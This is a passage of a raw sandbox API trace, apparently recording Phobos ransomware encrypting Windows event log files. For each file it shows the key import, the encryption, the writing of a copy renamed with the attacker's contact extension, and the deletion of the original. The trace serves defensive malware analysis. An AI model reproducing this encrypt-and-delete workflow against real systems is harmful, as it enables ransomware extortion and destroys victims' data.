(in: hFile=0x33c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0061.307] CloseHandle (hObject=0x33c) returned 1 [0061.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0061.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.308] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.308] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.308] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.308] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.308] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10ca30) returned 1 [0061.308] CryptSetKeyParam (hKey=0x10ca30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.308] ReadFile (in: hFile=0x33c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0061.321] CryptEncrypt (in: hKey=0x10ca30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0061.321] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0061.323] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cb30) returned 1 [0061.323] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.323] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0061.323] CryptDestroyKey (hKey=0x10cb30) returned 1 [0061.323] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0061.323] CryptDestroyKey (hKey=0x10ca30) returned 1 [0061.323] CloseHandle (hObject=0x33c) returned 1 [0061.323] CloseHandle (hObject=0x324) returned 1 [0061.328] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0061.329] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0061.330] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.330] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0061.330] CloseHandle (hObject=0x324) returned 1 [0061.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0061.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.330] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.330] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.334] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.334] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.335] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d0f0) returned 1 [0061.335] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.335] ReadFile (in: hFile=0x324, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0061.341] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0061.341] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0061.342] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10caf0) returned 1 [0061.342] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.342] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90, dwBufLen=0x90 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90) returned 1 [0061.342] CryptDestroyKey (hKey=0x10caf0) returned 1 [0061.342] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x142, lpOverlapped=0x0) returned 1 [0061.342] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0061.342] CloseHandle (hObject=0x324) returned 1 [0061.343] CloseHandle (hObject=0x33c) returned 1 [0061.344] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0061.345] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0061.345] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.346] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0061.346] CloseHandle (hObject=0x33c) returned 1 [0061.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0061.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.346] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.346] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.346] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.346] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.348] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10ce70) returned 1 [0061.348] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.348] ReadFile (in: hFile=0x33c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0061.349] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0061.350] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0061.351] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d0f0) returned 1 [0061.351] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.351] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0061.351] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0061.351] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0061.352] CryptDestroyKey (hKey=0x10ce70) returned 1 [0061.352] CloseHandle (hObject=0x33c) returned 1 [0061.352] CloseHandle (hObject=0x324) returned 1 [0061.353] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0061.355] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0061.355] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.355] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0061.355] CloseHandle (hObject=0x324) returned 1 [0061.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0061.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.355] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.355] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.355] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.355] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.356] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cbf0) returned 1 [0061.356] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.356] ReadFile (in: hFile=0x324, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0061.690] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0061.691] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0061.692] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ceb0) returned 1 [0061.693] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.693] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x70, dwBufLen=0x70 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x70) returned 1 [0061.693] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0061.693] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x122, lpOverlapped=0x0) returned 1 [0061.693] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0061.693] CloseHandle (hObject=0x324) returned 1 [0061.693] CloseHandle (hObject=0x33c) returned 1 [0061.695] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0061.711] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0061.711] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.712] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0061.712] CloseHandle (hObject=0x33c) returned 1 [0061.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0061.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.712] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.712] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.712] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.712] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.712] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cdf0) returned 1 [0061.712] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.713] ReadFile (in: hFile=0x33c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0061.714] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0061.714] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0061.716] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ce30) returned 1 [0061.716] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.716] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0061.716] CryptDestroyKey (hKey=0x10ce30) returned 1 [0061.716] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0061.716] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0061.716] CloseHandle (hObject=0x33c) returned 1 [0061.716] CloseHandle (hObject=0x324) returned 1 [0061.719] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0061.721] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0061.721] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.722] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0061.722] CloseHandle (hObject=0x324) returned 1 [0061.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0061.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.722] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0061.722] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.722] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0061.722] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0061.722] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cb30) returned 1 [0061.722] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.722] ReadFile (in: hFile=0x324, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0061.724] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0061.724] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0061.726] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cdf0) returned 1 [0061.726] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0061.726] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x70, dwBufLen=0x70 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x70) returned 1 [0061.726] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0061.726] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x122, lpOverlapped=0x0) returned 1 [0061.726] CryptDestroyKey (hKey=0x10cb30) returned 1 [0061.726] CloseHandle 